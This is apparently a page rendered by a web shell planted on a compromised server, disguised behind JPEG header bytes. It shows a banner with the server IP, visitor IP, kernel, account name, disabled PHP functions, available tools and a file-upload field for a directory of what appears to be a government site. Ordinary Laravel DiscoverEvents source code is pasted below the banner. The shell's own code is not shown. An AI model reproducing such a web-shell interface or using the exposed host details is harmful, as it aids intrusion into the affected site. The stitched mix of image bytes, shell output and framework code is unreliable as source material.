ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.143.23.187 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Foundation/Events/ |
Upload File : |
<?php namespace Illuminate\Foundation\Events; use Illuminate\Support\Reflector; use Illuminate\Support\Str; use ReflectionClass; use ReflectionException; use ReflectionMethod; use SplFileInfo; use Symfony\Component\Finder\Finder; class DiscoverEvents { /** * Get all of the events and listeners by searching the given listener directory. * * @param string $listenerPath * @param string $basePath * @return array */ public static function within($listenerPath, $basePath) { return collect(static::getListenerEvents( (new Finder)->files()->in($listenerPath), $basePath ))->mapToDictionary(function ($event, $listener) { return [$event => $listener]; })->all(); } /** * Get all of the listeners and their corresponding events. * * @param iterable $listeners * @param string $basePath * @return array */ protected static function getListenerEvents($listeners, $basePath) { $listenerEvents = []; foreach ($listeners as $listener) { try { $listener = new ReflectionClass( static::classFromFile($listener, $basePath) ); } catch (ReflectionException $e) { continue; } if (! $listener->isInstantiable()) { continue; } foreach ($listener->getMethods(ReflectionMethod::IS_PUBLIC) as $method) { if (! Str::is('handle*', $method->name) || ! isset($method->getParameters()[0])) { continue; } $listenerEvents[$listener->name.'@'.$method->name] = Reflector::getParameterClassName($method->getParameters()[0]); } } return array_filter($listenerEvents); } /** * Extract the class name from the given file path. * * @param \SplFileInfo $file * @param string $basePath * @return string */ protected static function classFromFile(SplFileInfo $file, $basePath) { $class = trim(Str::replaceFirst($basePath, '', $file->getRealPath()), DIRECTORY_SEPARATOR); return str_replace( [DIRECTORY_SEPARATOR, ucfirst(basename(app()->path())).'\\'], ['\\', app()->getNamespace()], ucfirst(Str::replaceLast('.php', '', $class)) ); } }